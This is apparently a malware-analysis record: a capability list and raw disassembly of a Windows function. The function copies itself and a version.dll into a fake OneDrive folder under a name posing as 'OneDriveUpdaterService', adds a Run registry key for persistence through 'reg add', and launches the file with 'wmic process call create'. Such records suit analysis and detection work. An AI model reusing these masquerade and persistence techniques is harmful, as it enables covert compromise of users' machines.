Function at 0x180001560
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Get file attributes
Persist via run registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xc8]
sub rsp, 0x1a0
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
lea rcx, [rbp + 0x40]
call fcn.1800011d0
mov rbx, qword [rbp + 0x58]
lea rcx, [rbp + 0x40]
mov r13, qword [rbp + 0x40]
cmp rbx, 0xf
mov r15, qword [rbp + 0x50]
cmova rcx, r13
test r15, r15
jne 0x1800015d8
mov r8, r15
lea rdx, [0x180004340]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x18000267f
movabs r12, 0x7fffffffffffffff
mov rax, r12
sub rax, r15
mov qword [rsp + 0x78], rax
cmp rax, 0xc
jb 0x180002712
cmp rbx, 0xf
lea r14, [rbp + 0x40]
lea rsi, [r15 + 0xc]
mov ebx, 0xf
cmova r14, r13
lea rdi, [rbp - 0x40]
xor eax, eax
xorps xmm0, xmm0
xorps xmm1, xmm1
movabs rcx, 0x8000000000000000
mov edx, 0x16
movups xmmword [rbp - 0x40], xmm0
movdqu xmmword [rbp - 0x30], xmm1
cmp rsi, rbx
jbe 0x18000169b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
jbe 0x18000164a
mov rbx, r12
lea rax, [rcx + 0x27]
jmp 0x180001670
cmp rbx, rdx
cmovb rbx, rdx
lea rcx, [rbx + 1]
test rcx, rcx
je 0x180001694
cmp rcx, 0x1000
jb 0x18000168f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180002718
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x1800026aa
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001697
call fcn.180002d64
mov rdi, rax
mov qword [rbp - 0x40], rdi
movsd xmm0, qword [str.got_username]
mov r8, r15
mov qword [rbp - 0x30], rsi
mov rdx, r14
mov qword [rbp - 0x28], rbx
movsd qword [rdi], xmm0
mov ecx, dword [0x180004378]
mov dword [rdi + 8], ecx
lea rcx, [rdi + 0xc]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
lea rbx, [rbp - 0x40]
mov rdi, qword [rbp - 0x30]
xorps xmm0, xmm0
cmova rdx, qword [rbp - 0x40]
mov esi, 7
add rdi, rdx
cmp qword [rbp - 0x28], 0xf
movups xmmword [rbp + 0x60], xmm0
cmova rbx, qword [rbp - 0x40]
cmp rbx, rdi
jne 0x18000170a
xor edx, edx
mov word [rbp + 0x60], dx
jmp 0x1800017ff
sub rdi, rbx
mov qword [rbp + 0x78], rsi
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x180002712
cmp rdi, rsi
jbe 0x1800017b9
mov rsi, rdi
or rsi, 7
cmp rsi, rax
jbe 0x180001780
mov rsi, rax
lea rcx, [r12 + r12]
cmp rcx, 0x1000
jb 0x1800017aa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180002718
mov rcx, rax
call fcn.180002d64
mov rcx, rax
test rax, rax
je 0x1800026aa
add rax, 0x27
mov qword [rbp + 0x78], rsi
and rax, 0xffffffffffffffe0
mov qword [rbp + 0x60], rax
mov qword [rax - 8], rcx
jmp 0x1800017bd
mov eax, 0xa
cmp rsi, rax
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, r12
ja 0x180002718
add rcx, rcx
jne 0x180001740
xor eax, eax
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x60], rax
jmp 0x1800017bd
call fcn.180002d64
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x78], rsi
jmp 0x1800017bd
mov rax, qword [rbp + 0x60]
cmp rsi, 7
lea r8, [rbp + 0x60]
mov rdx, rdi
cmova r8, rax
mov rcx, r8
test rdi, rdi
je 0x1800017f4
nop dword [rax]
nop dword [rax + rax]
movsx eax, byte [rbx]
lea rbx, [rbx + 1]
mov word [rcx], ax
lea rcx, [rcx + 2]
sub rdx, 1
jne 0x1800017e0
xor edx, edx
mov word [r8 + rdi*2], dx
mov rsi, qword [rbp + 0x78]
cmp qword [rbp + 0x58], 0xf
lea r12, [rbp + 0x40]
lea r14, [r15 + 9]
mov ebx, 0xf
cmova r12, r13
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp r14, rbx
jbe 0x1800018ba
mov rbx, r14
movabs rax, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rax
jbe 0x18000187a
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x1800019c1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800018b5
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x180001895
mov rdi, rdx
jmp 0x1800018b5
cmp rcx, 0x1000
jb 0x1800018ad
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800026f4
jmp 0x18000185b
call fcn.180002d64
mov rdi, rax
mov qword [rsp + 0x30], rdi
movsd xmm0, qword [str.C:Users_]
mov r8, r15
mov qword [rsp + 0x40], r14
mov rdx, r12
mov qword [rsp + 0x48], rbx
movsd qword [rdi], xmm0
movzx ecx, byte [0x1800043a0]
mov byte [rdi + 8], cl
lea rcx, [rdi + 9]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x17
jb 0x18000193f
cmp rdx, 0xf
lea rax, [rcx + 0x17]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str._appdatalocalOneDrive
add rbx, rcx
mov r8d, 0x17
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x30]
mov byte [rbx + 0x17], 0
jmp 0x18000195e
lea r9, str._appdatalocalOneDrive
mov qword [rsp + 0x20], 0x17
mov edx, 0x17
lea rcx, [rsp + 0x30]
call fcn.180002b00
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], dil
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1800019cd
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800019c8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800019c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
cmp qword [rbp - 0x68], 0xf
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x80]
cmova r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
add r8, qword [rbp - 0x70]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
call fcn.1800027b0
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180001a17
test al, 0x10
je 0x180001a17
mov bl, 1
jmp 0x180001a19
xor bl, bl
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180001a5c
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001a57
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001a57
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
test bl, bl
jne 0x180001af0
cmp qword [rbp - 0x68], 0xf
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x80]
cmova r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x60]
add r8, qword [rbp - 0x70]
cmp qword [rbp - 0x68], 0xf
cmova rdx, qword [rbp - 0x80]
call fcn.1800027b0
cmp qword [rbp - 0x48], 7
lea rcx, [rbp - 0x60]
cmova rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x180001aad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180001af0
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001aeb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001aeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
mov ecx, 0x20
mov qword [rsp + 0x60], rdi
call fcn.180002d64
movdqa xmm0, xmmword [0x180004510]
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [str..OneDriveUpdaterService.exe]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1800043d8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x1800043e0]
mov dword [rax + 0x18], ecx
movabs rcx, 0x7fffffffffffffff
mov byte [rax + 0x1c], dil
mov rax, rcx
mov rdx, qword [rbp - 0x70]
sub rax, rdx
mov qword [rsp + 0x50], rdx
cmp rax, 0x1b
jb 0x18000271e
cmp qword [rbp - 0x68], 0xf
lea r12, [rbp - 0x80]
lea r14, [rdx + 0x1b]
mov ebx, 0xf
cmova r12, qword [rbp - 0x80]
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp r14, rbx
jbe 0x180001c14
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x180001bd0
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x180001dff
mov rdx, qword [rsp + 0x50]
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001c0f
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x180001bea
xor eax, eax
jmp 0x180001c0c
cmp rcx, 0x1000
jb 0x180001c02
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1800026fa
jmp 0x180001bac
call fcn.180002d64
mov rdx, qword [rsp + 0x50]
mov rdi, rax
mov qword [rsp + 0x30], rdi
mov r8, rdx
mov qword [rsp + 0x40], r14
mov rdx, r12
mov qword [rsp + 0x48], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.OneDriveUpdaterService.exe]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x58]
movups xmmword [rdi + rcx], xmm0
movsd xmm0, qword [0x1800043b8]
movsd qword [rdi + rcx + 0x10], xmm0
movzx eax, word [0x1800043c0]
mov word [rdi + rcx + 0x18], ax
movzx eax, byte [0x1800043c2]
mov byte [rdi + rcx + 0x1a], al
lea rcx, [rbp - 0x20]
mov byte [rdi + r14], 0
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
add r8, qword [rsp + 0x68]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
call fcn.1800027b0
cmp qword [rsp + 0x48], 0xf
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x30]
cmova r8, qword [rsp + 0x30]
lea rcx, [rbp - 0x60]
add r8, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
call fcn.1800027b0
cmp qword [rbp - 0x48], 7
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
cmova rdx, qword [rbp - 0x60]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rbp - 0x48]
mov ebx, eax
cmp rdx, 7
jbe 0x180001d29
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001d24
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001d73
call fcn.180002d30
mov rdx, qword [rbp - 8]
xor eax, eax
movdqa xmm0, xmmword [0x1800044e0]
mov word [rbp - 0x60], ax
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 7
jbe 0x180001d7f
mov rcx, qword [rbp - 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001d7a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001d7a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180001db8
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001db3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001dff
call fcn.180002d30
mov rdx, qword [rsp + 0x70]
movdqa xmm6, xmmword [0x1800044f0]
mov byte [rsp + 0x30], 0
movdqu xmmword [rsp + 0x40], xmm6
cmp rdx, 0xf
jbe 0x180001e0b
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001e06
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001e06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
test ebx, ebx
je 0x1800025bf
mov eax, dword [0x180004400]
xor edx, edx
movdqa xmm0, xmmword [0x180004500]
movabs rcx, 0x7fffffffffffffff
mov r12, qword [rbp - 0x70]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x180004404]
mov byte [rsp + 0x64], al
mov rax, rcx
sub rax, r12
mov word [rsp + 0x66], dx
mov byte [rsp + 0x65], dl
movdqu xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [str.._version.dll]
movsd qword [rsp + 0x58], xmm0
cmp rax, 0xc
jb 0x180002724
cmp qword [rbp - 0x68], 0xf
lea rax, [rbp - 0x80]
lea r14, [r12 + 0xc]
mov ebx, 0xf
cmova rax, qword [rbp - 0x80]
lea rdi, [rsp + 0x30]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp r14, rbx
jbe 0x180001f2a
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x180001ee5
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x1800020f1
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x180001f20
cmp rbx, 0x16
mov ecx, 0x16
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x180001f00
mov rdi, rdx
jmp 0x180001f25
cmp rcx, 0x1000
jb 0x180001f18
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180002700
jmp 0x180001ec6
call fcn.180002d64
mov rdi, rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
mov r8, r12
mov qword [rsp + 0x40], r14
mov rdx, rax
mov qword [rsp + 0x48], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._version.dll]
lea r8, [rsp + 0x58]
movsd qword [rdi + r12], xmm0
lea rdx, [rsp + 0x58]
mov eax, dword [0x1800043f0]
lea rcx, [rbp - 0x20]
mov dword [rdi + r12 + 8], eax
mov byte [rdi + r14], 0
cmp qword [rsp + 0x70], 0xf
cmova r8, qword [rsp + 0x58]
add r8, qword [rsp + 0x68]
cmp qword [rsp + 0x70], 0xf
cmova rdx, qword [rsp + 0x58]
call fcn.1800027b0
cmp qword [rsp + 0x48], 0xf
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x30]
cmova r8, qword [rsp + 0x30]
lea rcx, [rbp - 0x60]
add r8, qword [rsp + 0x40]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
call fcn.1800027b0
cmp qword [rbp - 0x48], 7
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x20]
cmova rdx, qword [rbp - 0x60]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdx, qword [rbp - 0x48]
mov ebx, eax
cmp rdx, 7
jbe 0x180002023
mov rcx, qword [rbp - 0x60]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000201e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000206d
call fcn.180002d30
mov rdx, qword [rbp - 8]
xor eax, eax
movdqa xmm0, xmmword [0x1800044e0]
mov word [rbp - 0x60], ax
movdqu xmmword [rbp - 0x50], xmm0
cmp rdx, 7
jbe 0x180002079
mov rcx, qword [rbp - 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002074
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180002074
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1800020b2
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800020f1
call fcn.180002d30
mov rdx, qword [rsp + 0x70]
mov byte [rsp + 0x30], 0
movdqu xmmword [rsp + 0x40], xmm6
cmp rdx, 0xf
jbe 0x1800020fd
mov rcx, qword [rsp + 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020f8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800020f8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
test ebx, ebx
je 0x1800025bf
cmp qword [rsp + 0x78], 0x71
jb 0x18000272a
cmp qword [rbp + 0x58], 0xf
lea r12, [rbp + 0x40]
lea r14, [r15 + 0x71]
mov edi, 0xf
cmova r12, r13
lea rbx, [rsp + 0x30]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp r14, rdi
jbe 0x1800021cb
mov rdi, r14
movabs rax, 0x7fffffffffffffff
or rdi, 0xf
cmp rdi, rax
jbe 0x18000218c
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x180002314
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1800021c6
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1800021a6
xor eax, eax
jmp 0x1800021c3
cmp rcx, 0x1000
jb 0x1800021be
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180002706
jmp 0x18000216d
call fcn.180002d64
mov rbx, rax
mov qword [rsp + 0x30], rbx
movaps xmm0, xmmword [str.reg__add__HKCU_softwareMicrosoftWindowsCurrentVersionRun___v__OneDriveUpdaterService___t_REG_SZ__d__c:Users_]
lea rcx, [rbx + 0x71]
mov qword [rsp + 0x40], r14
mov r8, r15
mov qword [rsp + 0x48], rdi
mov rdx, r12
movups xmmword [rbx], xmm0
movaps xmm1, xmmword [0x180004450]
movups xmmword [rbx + 0x10], xmm1
movaps xmm0, xmmword [0x180004460]
movups xmmword [rbx + 0x20], xmm0
movaps xmm1, xmmword [0x180004470]
movups xmmword [rbx + 0x30], xmm1
movaps xmm0, xmmword [0x180004480]
movups xmmword [rbx + 0x40], xmm0
movaps xmm1, xmmword [0x180004490]
movups xmmword [rbx + 0x50], xmm1
movaps xmm0, xmmword [0x1800044a0]
movups xmmword [rbx + 0x60], xmm0
movzx eax, byte [0x1800044b0]
mov byte [rbx + 0x70], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r14], 0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x33
jb 0x180002290
cmp rdx, 0xf
lea rax, [rcx + 0x33]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str._appdatalocalOneDriveOneDriveUpdaterService.exe_
add rbx, rcx
mov r8d, 0x33
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x30]
mov byte [rbx + 0x33], 0
jmp 0x1800022af
lea r9, str._appdatalocalOneDriveOneDriveUpdaterService.exe_
mov qword [rsp + 0x20], 0x33
mov edx, 0x33
lea rcx, [rsp + 0x30]
call fcn.180002b00
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x20], xmm0
movdqu xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180002320
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000231b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000231b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
cmp qword [rbp + 0x38], 0xf
lea rcx, [rbp + 0x20]
cmova rcx, qword [rbp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r15, qword [rbp - 0x70]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0x19
jb 0x1800026ee
cmp qword [rbp - 0x68], 0xf
lea r12, [rbp - 0x80]
lea r14, [r15 + 0x19]
mov ebx, 0xf
cmova r12, qword [rbp - 0x80]
lea rdi, [rsp + 0x30]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x30], xmm0
movdqu xmmword [rsp + 0x40], xmm1
cmp r14, rbx
jbe 0x180002401
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1800023c2
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
mov rcx, rax
call fcn.180002d64
test rax, rax
je 0x180002515
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1800023fc
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1800023dc
xor eax, eax
jmp 0x1800023f9
cmp rcx, 0x1000
jb 0x1800023f4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000270c
jmp 0x1800023a3
call fcn.180002d64
mov rdi, rax
mov qword [rsp + 0x30], rdi
movups xmm0, xmmword [str.wmic_process_call_create]
mov qword [rsp + 0x40], r14
lea rcx, [rdi + 0x19]
mov qword [rsp + 0x48], rbx
mov r8, r15
movups xmmword [rdi], xmm0
mov rdx, r12
movsd xmm0, qword [0x1800044c8]
movsd qword [rdi + 0x10], xmm0
movzx eax, byte [0x1800044d0]
mov byte [rdi + 0x18], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov rax, rdx
sub rax, rcx
cmp rax, 0x1b
jb 0x180002491
cmp rdx, 0xf
lea rax, [rcx + 0x1b]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str.OneDriveUpdaterService.exe
add rbx, rcx
mov r8d, 0x1b
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x30]
mov byte [rbx + 0x1b], 0
jmp 0x1800024b0
lea r9, str.OneDriveUpdaterService.exe
mov qword [rsp + 0x20], 0x1b
mov edx, 0x1b
lea rcx, [rsp + 0x30]
call fcn.180002b00
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp], xmm0
movdqu xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x180002521
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000251c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000251c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180002d30
cmp qword [rbp + 0x18], 0xf
lea rcx, [rbp]
cmova rcx, qword [rbp]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x180002572
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000256d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800026aa
call fcn.180002d30
mov rdx, qword [rbp + 0x38]
mov byte [rbp], 0
movdqu xmmword [rbp + 0x10], xmm6
cmp rdx, 0xf
jbe 0x1800025b6
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800025b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800026aa
call fcn.180002d30
movdqu xmmword [rbp + 0x30], xmm6
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x1800025fa
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800025f5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800026aa
call fcn.180002d30
mov byte [rbp - 0x80], 0
movdqu xmmword [rbp - 0x70], xmm6
cmp rsi, 7
jbe 0x18000263b
mov rcx, qword [rbp + 0x60]
lea rdx, [rsi*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002636
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800026aa
call fcn.180002d30
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x180002672
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000266d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800026aa
call fcn.180002d30
mov rbx, qword [rbp + 0x58]
movdqu xmmword [rbp - 0x30], xmm6
mov byte [rbp - 0x40], 0
cmp rbx, 0xf
jbe 0x1800026b9
lea rdx, [rbx + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x1800026b1
mov r13, qword [r13 - 8]
add rdx, 0x27
sub rax, r13
